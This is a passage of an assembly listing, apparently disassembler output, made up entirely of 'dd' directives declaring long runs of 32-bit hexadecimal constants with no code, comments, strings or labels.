		dd 97541B94h, 29348F0Ch, 93F8587Fh, 0E850B95Fh,	0CF100EADh
		dd 9341B582h, 6DFC6A65h, 147BE84Eh, 0D55CDF40h,	4CD6A909h
		dd 0DEEB864Dh, 0A8E02563h, 900BFD8Ah, 445007B7h, 0FAB060B9h
		dd 0EC7A0B3Ch, 0C0D24900h, 120AACDEh, 62C2018Dh, 90B38F36h
		dd 0D76F7F6Ah, 8061B302h, 5640752Ch, 66800F35h,	76A475BBh
		dd 0ED7288E8h, 23358709h, 0B6C3D01Ah, 0EDF812B5h, 8C1BAC11h
		dd 1CFE50Eh, 4EDB006Fh,	0A22B601Dh, 587A7DAFh, 618101ECh
		dd 0FC1DE92Ah, 6ADE02D6h, 0B0D89347h, 1040C7FCh, 41A509h
		dd 97668C0Eh, 0BF883F3Eh, 11950109h, 4D647A0Ah,	0FE13A9D1h
		dd 8DBBA2FDh, 4E1A4F9Fh, 400BADC7h, 4DEEF97Ch, 76028179h
		dd 6A616FBBh, 70D07B02h, 0A2A19CB2h, 51A52F31h,	0FA49ED6Ch
		dd 0B5B52EBCh, 811D9184h, 0B1104F0Ch, 0FDC75280h, 0B70FAC51h
		dd 7F80F95Eh, 9D50E9EEh, 0B321E01Ch, 1917F1D6h,	48B8AC2Eh
		dd 0FF4CC956h, 810EBB16h, 0A9E22ACBh, 144F5722h, 397F06E0h
		dd 41E307D5h, 0B174965Ch, 7D91BD29h, 18B771B9h,	39C5CE9h
		dd 0D13D28CAh, 97A8549Eh, 9C984280h, 0C4D88B27h, 78A49B97h
		dd 0BA2DF30Eh, 20BBF09Bh, 0E7AA3119h, 46DC0B74h, 6E180F19h
		dd 0D10DEE88h, 8086DBD7h, 6203801h, 51D2708h, 3DDB256Ah
		dd 0B995ED0h, 75D54383h, 350C98F6h, 2DFF511Ch, 0EFAB9D2Bh
		dd 0C99D102h, 32A3DFDh,	6901C12Fh, 0EACDBB98h, 0DB1BB19Dh
		dd 0BE03AF14h, 80B03B02h, 4EE6D98Ah, 9B5F1870h,	0AAC571E4h
		dd 32BE0229h, 5829BA5Ah, 190B9DDEh, 97F6C45Fh, 70498E54h
		dd 0D50BBD10h, 29C06A76h, 8C1A5D85h, 0E697ABDh,	8C34CF81h
		dd 2EBB0FA0h, 474ACAACh, 9D08C4ECh, 0CA4E05E9h,	0BB004773h
		dd 9D295515h, 23096445h, 3EE8A985h, 2AD11333h, 66E0AB2h
		dd 0F4D9AB12h, 2C21628Bh, 3A96866Ch, 5178A68h, 0A35653h
		dd 0FE16027h, 2B50031h,	5CD1BD61h, 3735BB61h, 17F8643Ah
		dd 0FD10BE91h, 410A5058h, 40E2135Bh, 1452F284h,	31D12A5h
		dd 0A9B5ADECh, 1E5B85Ch, 0FE6AAF83h, 48870FC2h,	810060E9h
		dd 0C4463E9h, 2761FC1Ch, 130720B9h, 0BD031157h,	5B2D34EDh
		dd 0DE845F4Eh, 0F8E078E6h, 918FCEDh, 2B53C19Dh,	6973BFC0h
		dd 12754278h, 0A8BB9759h, 68FA928Ah, 7905FE0Bh,	0C99D231Fh
		dd 0EF3110F4h, 8B920BC9h, 0E06DB6D2h, 22F9FA91h, 5D7811E9h
		dd 0E6FB3D00h, 48D140Ah, 55A98F0h, 0B9053FF1h, 307FBE2Ch
		dd 48001C23h, 56E02E88h, 1DB116A9h, 2FD049F4h, 0B3465Fh
		dd 1C7B9926h, 66629288h, 33D49D00h, 17E15EEDh, 0D7940BC2h
		dd 5182ADF5h, 0D1290D89h, 8D123E44h, 3D31A1BDh,	8C1CAC42h
		dd 5737D800h, 54394C70h, 0ED514AADh, 851CADDDh,	184C1D21h
		dd 1C651C79h, 17F1E531h, 9D10E178h, 82464ACFh, 20352044h
		dd 0D94E8C90h, 743876CAh, 0A073A75Bh, 31BB3872h, 0D16C9DCAh
		dd 8CF93A2Eh, 0A06EF6D6h, 4948666h, 318D898Bh, 0C9DCEE30h
		dd 0B5092560h, 61780475h, 0BE0800AFh, 0BE9E1FFh, 991988h
		dd 0F1ED4C04h, 7C2BD2E2h, 71CA774Eh, 4804A110h,	295B7286h
		dd 0A984F3B3h, 0C7AFE04h, 0D741AC00h, 0CCA14C98h, 2F5AA13h
		dd 418559B2h, 49B7B04h,	861CF9EAh, 482DAE8Ch, 59008D68h
		dd 16A136ECh, 0DC00F751h
		dd 0A6D6963Eh, 0C6B190h, 27DF8105h, 5B319935h, 476E605Eh
		dd 1DEC5C13h, 0B229D3CCh, 0CBCE407Fh, 7DC4B34Eh, 2A41B204h
		dd 880732BEh, 8F17911Fh, 68F3C5B9h, 0C9E39AABh,	26FE3017h
		dd 6BEA2505h, 4924CEC0h, 5543A99Dh, 9800D33Dh, 0BF38BA3Eh
		dd 92182C74h, 0BCBD139Fh, 0BCA19329h, 9B3E7471h, 0BEE482DDh
		dd 0CD42E0BDh, 6BDD3D0Ch, 5FDE56E1h, 0ECCC3B6Ah, 1093011Fh
		dd 2E3588B5h, 3D293B4Bh, 0DFA2C705h, 605B8476h,	8A00B5B8h
		dd 925EBBD8h, 3BF52C79h, 38B75244h, 3EA3EBh, 0A5C996BBh
		dd 73206501h, 6F8B97ADh, 0BB66217Fh, 0A13BC4DEh, 0DAA10902h
		dd 0B5DCDDFEh, 6E97186Eh, 4E5BB01Dh, 3987ADFDh,	0D2AD4E85h
		dd 43003AECh, 49B908C2h, 1611F865h, 105B5038h, 0FD5B98E9h
		dd 331BC5Ch, 23336241h,	0C44A7D78h, 1CACDEE9h, 0C713008Ch
		dd 4C7FB3D0h, 0BC4EDB1Eh, 0C13B11CDh, 2F3E351Dh, 4FE3598h
		dd 0A6D48EBFh, 2E99EF2Ah, 9D89F9F0h, 387853FBh,	36870298h
		dd 0E3DD14DAh, 0F9C84D5h, 23D76FBFh, 8F823915h,	8CC2BF66h
		dd 0F80BAA74h, 959FC650h, 29093844h, 0D113A1BDh, 0ED56699Dh
		dd 0ADA348D4h, 0DBAD03A4h, 8022AF56h, 8BF54F01h, 10522DF6h
		dd 0F57A586h, 4FFEA14Eh, 914C6880h, 50F46476h, 1C134102h
		dd 40260CA0h, 0BBB51A2h, 0E3D2002h, 6F500BE1h, 900A5A3h
		dd 0A22EDA90h, 2B05EBD2h, 0CB8BAD97h, 0D12481ACh, 627969DFh
		dd 2AF1A502h, 0B7D07569h, 0E2E41001h, 0BFD2F207h, 128164ECh
		dd 0C28B5F4Ah, 0DE44F8C6h, 0F21D909Fh, 722A1DE0h, 0DE200348h
		dd 4E90D68Ch, 0DB045508h, 587F594Dh, 0D0C0F6DBh, 0BF10365Dh
		dd 37E30102h, 55858D6Ah, 2B0005BFh, 14E77DAh, 45ED2DF8h
		dd 3B0B505Ch, 0F9698405h, 4860BD52h, 9E017FD4h,	9626920h
		dd 5FC235BDh, 0CC7DB23Ah, 40BD7D59h, 29096131h,	7C045185h
		dd 0E8D4DA57h, 8BF016D4h, 0B031D4FFh, 0F195080Ah, 6751CE5Fh
		dd 0DDDB42E6h, 0EF812890h, 0A3277A09h, 426D7746h, 1E319F76h
		dd 0C0C02F5Eh, 134F09FAh, 22715B7h, 859D010Eh, 0D9CC90FDh
		dd 9995882Eh, 2AE3055Bh, 2DBC3E8Fh, 2DEFCDEh, 0FB2F517Eh
		dd 3DF40B88h, 20B4414Fh, 0F8C8B522h, 4CF53D94h,	8AD51543h
		dd 0DB0ADCFAh, 0EF58F75Bh, 0D7BDB704h, 23A9A800h, 5D1EA16Eh
		dd 1A4C5696h, 0B201B804h, 6499EF7Eh, 3267402Bh,	914A1D17h
		dd 0DA9DE400h, 80222DA9h, 25DFE427h, 86F35FDDh,	6A191D59h
		dd 44C0F5ECh, 0B589BBF1h, 4E331127h, 8FD3B57Ch,	42E6E5Ah
		dd 0F96BC98h, 0D231EA80h, 0E1707E9Ah, 0DEE016BBh, 1F6F96h
		dd 0DC943161h, 0A5E66A5h, 0FC8ADE24h, 81F5C0ADh, 47136ADFh
		dd 0DAAE4A29h, 0B01D8B8Fh, 79DB0Bh, 0ADE21A12h,	3BC0955Fh
		dd 89295B9Dh, 287E1549h, 18CD575Ah, 0E8C01B43h,	58F02684h
		dd 3BC03617h, 0BD67A944h, 90E01800h, 0FC66A36Bh, 33862F53h
		dd 0CE48D45Eh, 1716D726h, 76DB2DBBh, 80D3A317h,	13594E5Fh
		dd 0A124027Ah, 41DC2F6Ah, 0DED80381h, 0FC246434h, 92E480E0h
		dd 96A0C602h, 77903950h, 0B852B8F3h, 120DC52Bh,	415DBD8Bh
		dd 0D5B5095Ah, 91E22B2Bh, 0EBCA0B3Fh, 58F1DE12h, 0FEB8063Dh
		dd 3874CAFDh, 6E458A40h, 0D3C40773h, 0E1823B5Fh, 2B149BDEh
		dd 0BD4F90E7h, 7A3A8D1h, 5A01A0C7h, 0F7E36356h,	22C5E412h
		dd 2B75C697h, 96E874BEh, 0E39B722Eh, 26B50D78h,	24B3363h
		dd 0E8E6E584h, 0C50075C6h, 41C9764h, 848A21h, 0CC0212B1h
		dd 0F380067Dh, 315B4F02h, 0F7281D8Dh, 0BD0DF645h, 12119A5h
		dd 0B5D529C2h, 831B91AAh, 0A81C8521h, 58458DE7h, 0DC4C3A57h
		dd 0C060AD5Ah, 5E7F353Bh, 989E4A83h, 96025FECh,	86F36DBBh
		dd 25797714h, 0A7118100h, 0B13F7Dh, 604CA9DBh, 0B7539635h
		dd 0F65BF038h, 0DC71B6h, 0D614A51Ah, 4ABF94C4h,	23AEA215h
		dd 789C46E0h, 0F4C8FA5Fh, 0C84000AEh, 412F77F1h, 0FB01F670h
		dd 62BD21A1h, 0F93A9A97h, 612FA96Bh, 3A0CAA6Eh,	0E141B728h
		dd 0A05EB72Ah, 658B6978h, 8C9604D8h, 0BA00E371h, 0F31ACD6Bh
		dd 0B81A906h, 0A6DF0AD3h, 0D4860700h, 965C505Fh, 0B80105A9h
		dd 8E1265F6h, 5803DDFh,	0C1F56377h, 2948F04h, 0DBE91A2Eh
		dd 0F8C1AACh, 757AAA2Bh, 372E7E0h, 94899BDh, 4E04A583h
		dd 0BCE91395h, 1B30FED6h, 9D15EF80h, 6245C014h,	1289FE41h
		dd 4AB38B6Fh, 0BF80389Ah, 4CEF26CDh, 81146E04h,	0BCE88290h
		dd 0B7BC544Dh, 19D81202h, 55EBA5BBh, 2ADBD2B0h,	78F1EC13h
		dd 0E7D1CAA3h, 611F2EACh, 52C0C675h, 0B173519Ah, 9C8EE60h
		dd 8FA41F9h, 0FC7B0844h, 2E55ED0Fh, 6E88802Bh, 2BB6178h
		dd 33F6C901h, 95F12E9h,	0C20118BCh, 0A7A90084h,	62AFABC5h
		dd 0B22DB821h, 40C4F045h, 8B4B5B05h, 41E220EFh,	6D00ADF8h
		dd 826ED237h, 4B71285Eh, 0B29DE6E5h, 0A08C3016h, 90FC1C12h
		dd 3680D5E8h, 0BE655F3Dh, 51EB99B5h, 10A275EAh,	377790D9h
		dd 857525DDh, 67C2B240h, 54ED5F59h, 64601A44h, 6F094194h
		dd 2CB95C0h, 0CF8A18F3h, 0CDEB6058h, 605A29Ah, 0C838D97Ah
		dd 0E8ABB202h, 0DEFA5E4Ch, 0F1807C01h, 51B53BFh, 4195E520h
		dd 0D5F02A19h, 4CD49F14h, 0EE19597Eh, 34809980h, 775ED7F6h
		dd 508DA981h, 0A46E203Bh, 9D02D6CFh, 5241B44h, 0BD997030h
		dd 8509F55Bh, 2DBD56EDh, 9BD0EDF3h, 2BD140D6h, 1F01BD12h
		dd 904DDBAEh, 0F998C02Ch, 7121BFD2h, 0FC7D4BA3h, 99ED1348h
		dd 0F84DCAA2h, 0AC001CE8h, 2C1A7CA0h, 4C609B37h, 88709057h
		dd 0BA00665Ah, 0FF615E88h, 9E381D1h, 690B54F0h,	0DF44C2D1h
		dd 0C41C9EBFh, 1CC49018h, 0B77BE3E1h, 533BA0CCh, 0C41C0B57h
		dd 8B5FF4EAh, 351857F0h, 3D008671h, 7EBA2C6Fh, 7501F7DCh
		dd 274717C7h, 0B1450452h, 0CB8DFE9Ch, 971B0620h, 0B6806173h
		dd 0B7CC7C72h, 0C5942508h, 0C464CE79h, 775FFB82h, 0DCE1AEEDh
		dd 6278D375h, 96944383h, 16CDAFD8h, 0BF595501h,	1BE19098h
		dd 0C267646Bh, 18291183h, 354AEA7h, 0ABEEEFB8h,	0C7C0781Eh
		dd 292D5945h, 2DAE5A9Dh, 5DF913E9h, 1D98B5C7h, 60B1A4B7h
		dd 46B6DA88h, 25CAD19Fh, 8B008337h, 61755AE6h, 0B013EA32h
		dd 304D20CEh, 12EE1198h, 52207C97h, 0B150DA7Bh,	4C8B2DFFh
		dd 7F00A6F1h, 3079D9FDh, 0B3F3937h, 8791BF01h, 3BCFDF69h
		dd 0EE9BDD53h, 0D7509480h, 0B409FC61h, 21067F2Dh, 777F7E2h
		dd 96D1FD3Ah, 0C8E25517h, 0E110C309h, 3549E6D1h, 465B8094h
		dd 0FEF7B3E8h, 5ABF9DB8h, 0AE56B71Fh, 0A71BB3D4h, 793FA753h
		dd 0F98BBC04h, 79DBFF6Ah, 0E3E931C0h, 79129D09h, 8DBE480Eh
		dd 0A6A07BD9h, 0B5BFC22Fh, 3D570E25h, 0C04A1FCAh, 2F93EC64h
		dd 6FED654Dh, 7352C20h,	21D39DFh, 84B74B75h, 5FF5B080h
		dd 6B29B09Dh, 0B5998301h, 0EA76C39h, 16B0DE8Ah,	0C000E6A2h
		dd 188258FEh, 0BF00A4DFh, 0AC74DF1h, 970E65Bh, 71E4D2B3h
		dd 0CE2F9051h, 3F2F9DDCh, 3E746F1Ah, 0BD02C86Eh, 105FFEA5h
		dd 10F7E7A9h, 0A583B2Bh, 9AF9BD0Bh, 0E50999A6h,	0F93EDAC7h
		dd 9ED0AF14h, 83B461C3h, 0DCFBEBB0h, 0CD35F824h, 0FB21C10Ch
		dd 853BA0EEh, 9F4C7144h, 42274AF4h, 0E431h, 0AA48EC4Bh
		dd 933E2379h, 76020179h, 819D2B6Eh, 0C2362D04h,	383671h
		dd 9B80864Ah, 4D7AAE6h,	7FA85A3Bh, 2D5BED6Bh, 8041FB4Dh
		dd 3DA0730Ah, 1C007619h, 0F288FCB5h, 202371Dh, 55AA2C3Fh
		dd 808091C5h, 0E95F81EDh
		dd 313D8A64h, 608D22AAh, 0B3FB44A0h, 833E1238h,	0B95B0132h
		dd 571E30AAh, 4580836Ch, 0E01170B2h, 998D1301h,	61169B10h
		dd 8291353Bh, 5377397Dh, 8DEA572h, 267E44C0h, 726427DAh
		dd 3844A064h, 0E9F69589h, 91A24CA7h, 7E4080CCh,	0B5389C0Ah
		dd 97DD2012h, 97D19D10h, 31277DF3h, 0D8E5A95Fh,	283BFB2Eh
		dd 644112B9h, 0BC78E93Fh, 869213A4h, 4AD2B718h,	0B100B56Ah
		dd 0E50E9879h, 5902F0A8h, 0B52951C4h, 3F84F071h, 0B5F087B9h
		dd 749D0D66h, 73A04EA8h, 0E02D2768h, 1BEE5F06h,	9D1A51D6h
		dd 78B7DC2Bh, 3B81C11Fh, 0F46EECD1h, 0B461B520h, 0A07FA596h
		dd 0B509FCA0h, 99274E65h, 82D5404Dh, 43123046h,	8ABBD22Bh
		dd 8E0FF1EFh, 6A8A6Bh, 0BA0F17Bh, 6371FEh, 99C4614Fh, 7F1FDF39h
		dd 6D321827h, 28EDA7C0h, 62479340h, 0B6C71309h,	0AD950429h
		dd 0C0039E03h, 0E910174Fh, 65BE055Ch, 401C3797h, 2AA7B86Fh
		dd 0D9EACE4Fh, 3A6DEE00h, 2601F467h, 0AF40262Bh, 0B7EB0571h
		dd 2909EE41h, 24E2D9D4h, 0AB951372h, 27803628h,	0C16E0AF3h
		dd 0ED479B6h, 0AD38E476h, 0B1BE9021h, 0AF71EE84h, 2FFA3700h
		dd 9C7228Ah, 0DF55E4C9h, 65AC17F5h, 0E7A46018h,	944CEC37h
		dd 0C3824F82h, 51CB76DEh, 23831462h, 0B8FD27A5h, 0D9F0647Bh
		dd 1907284Fh, 0E4127B7h, 7EB7AB6Eh, 0E1FF42F9h,	5D7068FBh
		dd 0E6EF01E0h, 0FC199376h, 0B9293B0Ch, 7A6B04E9h, 0FF8525BDh
		dd 2A825B29h, 60D5E761h, 820A6DCFh, 4E3E805Eh, 0EA37E3CAh
		dd 0AB82646Dh, 3800488Ah, 5BD92F9Fh, 33E4FF40h,	655C1927h
		dd 25911DD4h, 0C0D0B8FBh, 9D0B2FC9h, 6084095Ch,	97EDF88Bh
		dd 844E2858h, 0E0C9A696h, 0BC127CCh, 33B55D49h,	1F15E09h
		dd 77F8B709h, 0C2B735CCh, 763EAB2Dh, 1C46D6F0h,	82F60625h
		dd 86BCFAC4h, 0B1C4A813h, 0C09E3FA7h, 415608C0h, 0EF5080D9h
		dd 0C94BB3A6h, 7CE21712h, 0C3393500h, 0EC10F4B8h, 75F39F17h
		dd 0C45BCFF3h, 0B84281ECh, 0C9292FBEh, 1B00A163h, 9F4A6B69h
		dd 1700DF01h, 0AF6B1A0h, 171448BFh, 0FF5F4339h,	58CE530h
		dd 4E8805E8h, 0EA1FBDECh, 2FE8D32h, 0E4417B3h, 585B5312h
		dd 0BB2F816Fh, 5644D256h, 14D28280h, 8D09095Bh,	487B30D9h
		dd 110988A6h, 0A481DB04h, 87E761E0h, 9001EC6Fh,	56A2025Bh
		dd 9D17FC90h, 0CC49BE21h, 21F2BB0h, 0F716A104h,	6CE83FEDh
		dd 0C1C92A60h, 722EA1Bh, 0BB04F781h, 5BD96913h,	132F5EADh
		dd 2629EA09h, 9561302Ah, 0E5971A81h, 95DEA536h,	0A95726D4h
		dd 75BD0E30h, 56E47610h, 0CD1499E3h, 4CC65F5Dh,	1C0364A0h
		dd 0B960070Bh, 32204391h, 83808438h, 0AF2A074Ah, 0BE09AB00h
		dd 0EE917488h, 236E13F5h, 6B63B161h, 4317AC6Eh,	0EEDC244Dh
		dd 33137617h, 2BCB51AEh, 105D6ACh, 9EC951B0h, 19E8FBAh
		dd 0DAEAAEBFh, 0E8D86867h, 40BB42Dh, 56178B0Fh,	41838DA8h
		dd 8EFAADA7h, 4C51E154h, 0E983C82Ah, 0BD331060h, 0F8C154h
		dd 4A383B2Dh, 0E658922Eh, 0D6C91909h, 40427E27h, 6FF11B40h
		dd 139FB7B5h, 4A2EB211h, 9BBCB9BDh, 943A602h, 1121DD9Dh
		dd 0A2241007h, 2662E020h, 92645C7Ch, 0F8DC62F9h, 0D84A4155h
		dd 0F5162C3Bh, 0B7F89497h, 69B71FA0h, 639E58E9h, 9D8806F6h
		dd 8671CC56h, 0A4ED8D5Fh, 9672E892h, 7805ACh, 0A701D770h
		dd 512CAAEDh, 675B5F27h, 1F995C24h, 0AC008A9Ch,	7BBEFAC4h
		dd 52B425FBh, 6F035AE4h, 0D4C9D748h, 0C737A84Fh, 231C0084h
		dd 9EBB6B73h, 1824EAC0h, 0BF0B5A5Bh, 80A1B7DEh,	0F77DAFCCh
		dd 0E4143A18h, 25B9748Ch, 6DAEF1D8h, 6AA92F5Ah,	384CD0BDh
		dd 1B06C502h, 4567B48Eh, 579A9A29h, 25C67BD7h, 81ED985Dh
		dd 277FE8D7h, 0EF467BF6h, 719D2309h, 0C096F615h, 62E89F1Bh
		dd 85651400h, 0C70E4A98h, 8F0702E5h, 763D57FAh,	77273D74h
		dd 3FFE1630h, 3807480Bh, 5DEB02F6h, 85762B14h, 2DEA1813h
		dd 819A2A73h, 65B10181h, 81976090h, 7256CDCCh, 6B2945D9h
		dd 0BB3F19B6h, 48B0C526h, 0D0BFDEFDh, 4C16E281h, 0C9251812h
		dd 0B9D2BFD7h, 6AC66C00h, 1E6446DFh, 21D4A34Eh,	0F07AB6EAh
		dd 9D421E6h, 5AD506A7h,	2936B8F5h, 0B1FBBD2Fh, 0C0F3747Ah
		dd 0AE1265CBh, 8D54D902h, 4AAAC5C4h, 7DBD613Eh,	0B84E5DC2h
		dd 49F16E95h, 0F65F1009h, 301AB228h, 7F00564Eh,	3752CCC9h
		dd 4EB18509h, 41D68901h, 2E286940h, 8D82E9ECh, 0BF000B9Dh
		dd 4B77EECEh, 856FA95Fh, 0C0E9B886h, 0DB0BC2ECh, 6071E680h
		dd 0DD1E8E21h, 22BFC44Ah, 3C2099F4h, 541B8B80h,	0ECF5D2BCh
		dd 5BF0B02h, 6BE49609h,	37349F03h, 882AC893h, 1288CB74h
		dd 0C85003FBh, 0D01C92A4h, 60400A54h, 0FAA4D1C3h, 0E6965B9Eh
		dd 3114B2DCh, 0A073CCh,	0F06D3CBAh, 74D56A54h, 0BA07656h
		dd 1D6F941Ah, 0BB353075h, 8A354EB1h, 3392210h, 0BB96DF8Bh
		dd 598A2CBAh, 4141CBD7h, 0A02E41FAh, 0D51C8677h, 0DE40F1DAh
		dd 0D8849313h, 0AD8C3FCBh, 3F96C90Bh, 0A51741C4h, 80BBA82Ch
		dd 0D1B50928h, 0F02D51B4h, 81CF9D95h, 0FDBF7BC0h, 78601399h
		dd 405A310h, 591BD23h, 23716FBEh, 0E0212D1Ah, 783D0CADh
		dd 1FF880D9h, 7B6CDA9Eh, 0CAA248DFh, 8709BB4Bh,	1E13D35Fh
		dd 810FA28Bh, 695EF6E3h, 4416D168h, 0B071F734h,	2D80D803h
		dd 0FBF02B3Dh, 0C635B997h, 0AB4B0C32h, 86F86D16h, 0D79116BAh
		dd 0CD10D7E8h, 7E5B2D0Bh, 0C18B42EAh, 1446B757h, 0B93DAC55h
		dd 4F62F7DBh, 489061E0h, 0A1C0ED53h, 0C740D397h, 60CC3700h
		dd 0F732D8B5h, 0E0FF5B87h, 0F995805Bh, 4FDA40B9h, 0C40B1F7Eh
		dd 0FCC8F6CFh, 4725DE3Dh, 2FC654BBh, 4481478Eh,	0DE1FAC10h
		dd 30DDBCA2h, 0F9086481h, 0C7E62A4Ch, 80FC28F0h, 0E217CB25h
		dd 72395B69h, 2549F95Fh, 0CE773764h, 11F1FA00h,	9983CF77h
		dd 63F700FEh, 0B94CF075h, 251C7305h, 0F495F50h,	203CC68Eh
		dd 90250235h, 6F657650h, 0C06EFF13h, 5EA9702h, 0CE7585A6h
		dd 120D4F7Bh, 0A043F7ECh, 0B46D18h, 4528A29Ch, 9D330344h
		dd 24126927h, 0D2ECA161h, 8E070493h, 0D2B3BD70h, 0FA0D3A6h
		dd 9801AF01h, 774DE174h, 93A5F9Bh, 38F509D4h, 9EF88B37h
		dd 36694054h, 0C901A304h, 3FCB1988h, 1BD4787Fh,	6E8F05BBh
		dd 0D2D1FF55h, 0DF0B270Fh, 0B7766303h, 0A2A3BCCCh, 0A9EC2C99h
		dd 97022F44h, 48C03A4Dh, 4BB6DF9Ah, 6459B8B1h, 0F3AE906Bh
		dd 18BB0BEEh, 3FF354F4h, 0E2A8F64Fh, 0D640D462h, 0DB001A46h
		dd 1228296Eh, 0E497F593h, 40D000A7h, 723FA81Ah,	6500A00Bh
		dd 15B5A759h, 48EA95Dh,	0E962259Ah, 0E25DBCAFh,	4DEC4A12h
		dd 0BFCEE578h, 721EA330h, 0FB750114h, 7B7E1FEh,	13202B71h
		dd 0B334AA7h, 6046A30Bh, 95F3E4DDh, 7697D852h, 0F6046958h
		dd 92BE1D14h, 0D53228D9h, 0F52B8B86h, 0D85204h,	0E799FBFh
		dd 585A271Bh, 0E9781FFBh, 0CC604EB5h, 0AE902B83h, 0E432EFh
		dd 4DBF61DAh, 972212FDh, 7B7F549Ah, 8C737091h, 0BE575503h
		dd 0B4CF79CEh, 6983CBE8h, 49D8305Bh, 9D005F25h,	0E568F153h
		dd 5ABC7C42h, 2624AF3Eh, 9FFA66B0h, 9FD662D4h, 645436B0h
		dd 0D03EC0F8h, 6AFEDE92h, 10604A37h, 6F3041h, 2FD7FE79h
		dd 6AB34321h, 0BC5FFF59h, 803266Fh, 0FFE71273h,	1B711602h
		dd 0F7535D48h, 7EC0A770h, 5ACB041Dh, 0BD3DACCFh, 0A4668863h
		dd 1EE5093Eh, 43B5C4D7h, 5F106929h, 0AE89098h, 6A9A88h
		dd 0DC81CBBh
		dd 8A7F013Fh, 0D04A1397h, 2AE2CC3h, 497369D3h, 6A5E5FEFh
		dd 292F2891h, 5D27A6D6h, 9C89C892h, 335B5358h, 8E9073A9h
		dd 5C6CC13h, 0C5ECAC62h, 0B620BE6Bh, 25DFEEDBh,	71E82FBAh
		dd 0C9D2899Dh, 0F3B75E1h, 2B454EA7h, 16898C8h, 0DF59512h
		dd 0D90B3ECh, 42BA2801h, 33E48ECBh, 86960052h, 199A0A44h
		dd 60B22655h, 5A71E767h, 0EAB41286h, 8206E571h,	3955AC8h
		dd 0CA2D019Dh, 0BE9DA85Fh, 858BDC80h, 4855EC50h, 0DA057C47h
		dd 0EA9D0960h, 5D611192h, 0EA7D8B4Ah, 3E98F545h, 0B217CBF6h
		dd 30EF40C6h, 5F88B3E5h, 27A0A497h, 258A975Dh, 962DAC46h
		dd 0A8E120A8h, 0D5A74176h, 755F0212h, 0BF0908F9h, 0B33075DFh
		dd 44FBD9Dh, 2F894EADh,	55258BC4h, 0BD67E511h, 2B008BC4h
		dd 0DFEB86F7h, 0A8C8D1h, 9950369Dh, 4689B17Dh, 948475B8h
		dd 5ED8F94Bh, 95727D99h, 0FEB8D6B7h, 74AF2D00h,	0CA4EFE3Eh
		dd 0E1D39732h, 2CC60D0h, 4F78755Bh, 0EAA965ACh,	9D7231F5h
		dd 0B92BA46Fh, 4914E749h, 27A6BC21h, 0C8488C72h, 4B4FCE1h
		dd 0A49200DCh, 0C08B630Dh, 2A755011h, 0C0FCFA25h, 9F97DBA2h
		dd 957E287Eh, 4939E7B0h, 0E6A9E500h, 0C968F598h, 8642BD17h
		dd 2F5EFA93h, 51BC69B9h, 290DACA0h, 3D08B7B1h, 0F9253E05h
		dd 1DF935F3h, 1C005518h, 8A5A4D42h, 581E336Fh, 0D11F670h
		dd 0E5B50B03h, 0F4CBDC0Ch, 1C0A9495h, 92FD8A4Eh, 4F63F3DCh
		dd 558C3224h, 0E7FB9F2Bh, 5E111CE2h, 28186972h,	207C6D6Ch
		dd 0BD89B017h, 5B2885F9h, 2BC927AEh, 9B767ED6h,	0C6055860h
		dd 85091109h, 0F9CDA471h, 446EAFh, 9DB51B2h, 2D0CC40Eh
		dd 1610818Ah, 93006CEEh, 0B2A13AAFh, 4838AC54h,	0FB25D425h
		dd 1F118CE5h, 1B16E05Bh, 9CD45BDh, 6D7B2B21h, 81E1FF80h
		dd 250BDFC3h, 49ED253Eh, 7925AD20h, 0C402F111h,	13955414h
		dd 38EA1231h, 53B7CBCEh, 5E97D89Bh, 396EAB12h, 235788EAh
		dd 8953BD4Ch, 0B4167860h, 5A0BDCDEh, 48D9B3Dh, 9BBCF9FAh
		dd 0BF041C20h, 127904E0h, 257340BCh, 18E916F3h,	0E2D71422h
		dd 6BEA4165h, 192300h, 9691ECE2h, 82E54957h, 0B3DDDF5Ah
		dd 614DDD5Fh, 3EA23869h, 7CB2E0D0h, 9CEA167Dh, 0B48CAA18h
		dd 9D2312FAh, 90174B45h, 0BF507CA3h, 1FEEA3C8h,	614B70F5h
		dd 0C65692B7h, 0ADCD00AEh, 40E88DB0h, 0D54A57C2h, 4D6EEF2h
		dd 0BDAC7A94h, 0F98A1205h, 50A19EBCh, 0F7F8752h, 0F0E06031h
		dd 2DE436BFh, 0ABD82001h, 0DE62EE3h, 924C95E1h,	2CB3D95Ch
		dd 9A2BFC41h, 0CB18889Ch, 80A4485Dh, 0BF6702DBh, 7B0DF987h
		dd 51490F5Eh, 0C4CF0076h, 0DB40177Fh, 15C48E4Bh, 0A0B7B7AAh
		dd 25039B8Bh, 4010D694h, 0D4120951h, 61EA300Fh,	19F7DBA6h
		dd 8AB8097Dh, 6F7B4200h, 0CBAD4BBBh, 557E953Ah,	3FC1E869h
		dd 0DDA600CDh, 0FB34338Dh, 7304BB1Fh, 8920EC03h, 199525C0h
		dd 0B8389D0Ah, 0BF137DBBh, 42EA77B5h, 0DC9BD38h, 0BEC6A12Fh
		dd 0F93A027Dh, 6C052106h, 0B41295Eh, 3274B7D3h,	9E2DABAh
		dd 0FE6050DFh, 0B74438D8h, 8961403Fh, 76BF19BAh, 0DD3D4F13h
		dd 4A70FC6Bh, 0D3E68856h, 11904600h, 577A7C80h,	0FA0800BDh
		dd 673DCE3Ah, 255C0A71h, 8B234047h, 0DB58FB2Dh,	0F0757207h
		dd 0AFFF0BE4h, 237EDA76h, 1D46D6h, 0E91BF726h, 3CE7BF25h
		dd 0D45B0890h, 526B41h,	0FAFBB1DFh, 5A9FE42Bh, 0B66AEE3Bh
		dd 0BD9B604Bh, 3C0938EDh, 0C251DF6Bh, 0F86AFF07h, 20700E73h
		dd 8747011Eh, 0D9C54D0Fh, 0F5307131h, 39F93A0Eh, 9D652FF9h
		dd 0B21012BAh, 273A8D2Ah, 5F919DECh, 62D24110h,	0C246E986h
		dd 400F4F5Fh, 7796711Bh, 78D93A01h, 0F63EF23h, 25385C6Eh
		dd 945C49E7h, 16801E22h, 0B8A7E92Ch, 0E6300542h, 0F2870FE1h
		dd 0DF9D00DAh, 0B6DB48D3h, 20C05AE5h, 11DDA20Ah, 64126B00h
		dd 44A6E2Ah, 5DCB05C7h,	0B85769CFh, 0EE5683F8h,	753AE2ECh
		dd 5B098B4Fh, 0D7E5775Fh, 3CEA8217h, 7C8A7596h,	0D25F0B1Ah
		dd 856EB15Dh, 9FA1A27Ah, 401E4381h, 522F2458h, 0A0F3A73Dh
		dd 916F486h, 0B607E62Eh, 33395002h, 1ADEEFDh, 1684D381h
		dd 89603C6Eh, 0DF07ED26h, 43011BE6h, 60BB5E27h,	0A8D0E64Ah
		dd 2DA798F6h, 0B05D7DB5h, 1425F62h, 741473BEh, 6F89E48Dh
